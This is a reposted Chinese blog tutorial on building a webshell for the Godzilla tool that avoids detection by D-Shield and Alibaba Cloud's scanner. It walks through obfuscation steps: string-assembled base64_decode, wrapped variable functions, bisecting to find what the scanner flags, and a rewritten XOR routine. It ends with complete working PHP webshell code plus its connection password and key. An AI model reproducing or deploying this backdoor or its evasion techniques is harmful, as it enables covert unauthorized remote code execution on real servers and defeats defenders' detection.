过D盾哥斯拉webshell编写思路(转载)
0x00 前言这周遇到一个需求——向阿里云服务器上传webshell,因为已经有几个月没有用webshell了(最近项目都是直接rce搞进去然后打隧道),一时间手里没有能开箱即用的免杀马,只能重新编写一个,下面分享一下我编写的过程和思路。
0x01 分析需求webshell的免杀要做两部分:(1)流量免杀——在使用的过程中不被流量审计设备拦截。(2)静态免杀——对代码做混淆,不能还没使用就被一眼看出来。面对更高级的waf可能还要做行为免杀,但是阿里云不需要。
0x02 流量免杀今年hw的时候出了两款流量加密的新webshell管理工具——冰蝎3和哥斯拉(Godzilla)。我这里直接选用哥斯拉,因为冰蝎3太出名了,直接用的话有概率会被检测到。哥斯拉相对来说低调一点,而且根据以往经验,阿里云的流量监测功能不是那么与时俱进。

【传送门】使用说明:https://www.freebuf.com/sectool/247104.html下载地址:https://github.com/BeichenDream/Godzilla/releases
0x03 静态免杀解决了流量免杀的问题,接下来就要考虑怎么做静态免杀,不然传上去之后直接被杀,或者即使能用,但是被云盾给管理员发短信告警都不是好玩的。静态免杀的思路如下:(1)藏匿敏感函数的关键字:如eval等。
(2)如果是基于工具自带的马来改,那还要改变原有的格式:函数位置、调用顺序、语法特征等,如果让安全设备认出这是魔改的工具马,那细节处理的再好也没用。
(3)代码不要改的太混乱:要把代码尽量伪装成正常的功能,不能此地无银三百两。因为阿里云的云盾只有1和0(有/无后门)两种结果,为了更直观的描述编写过程,这里采用最新版本的D盾进行测试,有1-5级报毒结果。一般来说D盾3级以下就可以过阿里云了。
0x04 开始编写(1)去除格式特征先看哥斯拉马原始的样子。

首先要在保证功能一样的前提下,尽量去除原版哥斯拉马的格式特征。我这里做的修改为:
(1)修改变量名、函数名;(2)更换函数位置;(3)取消Q和O函数的定义;
(4)合并最后的三个echo;
(5)调整空行与每行开头的空格风格;

祭出D盾扫一下,看来改的还不够……

(2)大动作去除格式特征
既然小打小闹解决不了问题,那现在改个大的,随便选中一个函数,拆分成变量函数的形式来执行,以此降低特征值:(1)想办法让$RESULT="base64_decode";
(2)把base64_decode(参数)替换成$RESULT(参数)的形式;

祭出D盾再来一下,虽然还是级别5,但至少不是已知后门,说明D盾已经不认识这是哥斯拉马了,初步目标达成。

(3)封装变量函数看来变量函数的形式已经很受关注了,那我们封装一下,将变量函数封装到普通的自定义函数中。

看来颇有成效。

(4)定位可疑点如果只是到此为止我怎么好意思拿出来水文章呢,我们的目标是级别0。首先用二分法定位到D盾觉得哪里可疑,发现当删除了logrote函数后,D盾不再报毒。


(5)修改可疑点但是删掉之后哥斯拉马就无法正常使用了,那就想办法改造一下这个函数,作为参考去网上找了一个别人写的异或函数,D盾扫一下是不可疑的。对照着改了一下(注释是网上找的函数):

发现D盾有点烦人了。

(6)万能的中间层经过排查发现主要区别是下面:网上的函数是.=,我的没有点,一点的差别导致了D盾的一级报警。

如果只是简单的加点,哥斯拉马就又不能正常运行了(因为改变了原本的逻辑),思考了一下,这一句的可疑点应该在于等号前后出现了相同的$result[$i],让D盾觉得不是正常的功能,那使用中间变量的方式使等号前后不会出现相同内容试试:

完美撒花*★,°*:.☆( ̄▽ ̄)/$:*.°★* 。

0x05 完整代码【使用方法】
哥斯拉php马
密码:access_log
密钥:iloveyouyou
有效载荷:PhpDynamicPayload
加密器:PHP_XOR_BASE64
<?php session_start(); @set_time_limit(0); @error_reporting(0); $LOGNAME='access_log'; $SESS='ghco9xdnaco31gmafukxchph'; $md50_16='eccc97249feff381'; function modules($opt){ $FINALLY='decode'; @$a=$_POST['ALL']='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; $ELLCTION=$a[1].$a[0]; $ALLCTION='se'; $ELLCTION=$ELLCTION.$ALLCTION; $num=8*8; $ALLCTION='_'; $ALLs=$ELLCTION.'.'.($num).'.'.$ALLCTION.'.'.$FINALLY; $EXPLODE = explode('.',$ALLs); $RESULT = $EXPLODE[0].$EXPLODE[1] .$EXPLODE[2]. $EXPLODE[3]; return $RESULT($opt); } if (isset($_POST[$LOGNAME])){ function logrote($result,$k){ $len = strlen($result); for($i=0;$i<$len;$i++) { $k2 = $i+1&15; $temp = $result[$i]; $result[$i] = ''; $result[$i] = $temp^$k[$k2]; } return $result; } $FILES= modules( logrote(modules($_POST[$LOGNAME]),$md50_16) ); if (isset($_SESSION[$SESS])){ $Sess=$_SESSION[$SESS]; $KONW=explode('|',$Sess); class LOGSAVE{public function nvoke($temp) {eval($temp."");}} $EXEXL=new LOGSAVE(); $EXEXL->nvoke($KONW[0]); echo substr(md5($LOGNAME.$md50_16),0,16).base64_encode((logrote(@run($FILES),$md50_16))).substr(md5($LOGNAME.$md50_16),16); }else{ $_SESSION[$SESS]=$FILES; } } ?>
0x06 后记
这是11.23--11.29这周的更新
免杀马这种东西都是见光死,放出来之后很快就会被查杀,但是免杀的思路不会,一个好的思路能用很久——授人以鱼不如授人以渔。
攻防是一体的,当你不知道怎么做免杀的时候,不妨把自己当成防守方,切换思路的想一下检测的规则应该怎么写,当你知道该怎么检测,顺其自然的也就知道怎么绕过检测了。

浙公网安备 33010602011771号